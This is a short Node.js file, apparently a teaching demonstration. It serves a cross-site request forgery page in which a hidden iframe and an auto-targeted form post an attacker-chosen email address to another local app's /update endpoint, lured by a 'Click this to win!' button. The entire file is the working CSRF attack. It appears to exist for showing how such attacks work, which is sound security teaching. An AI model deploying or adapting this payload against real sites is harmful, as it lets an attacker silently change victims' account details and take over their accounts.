Beth Griggs
18 lines
531 B
JavaScript
18 lines
531 B
JavaScript
const http = require("http");
|
|
|
|
const attackerEmail = "attacker@example.com";
|
|
|
|
const server = http.createServer((req, res) => {
|
|
res.writeHead(200, { "Content-Type": "text/html" });
|
|
res.end(`
|
|
<iframe name=hide style="position:absolute;left:-1000px"></iframe>
|
|
<form method="post" action="http://localhost:3000/update" target=hide>
|
|
<input type=hidden name=email value="${attackerEmail}">
|
|
<input type=submit value="Click this to win!">
|
|
</form>`);
|
|
});
|
|
|
|
server.listen(3001, () => {
|
|
console.log("Server listening on port 3001");
|
|
});
|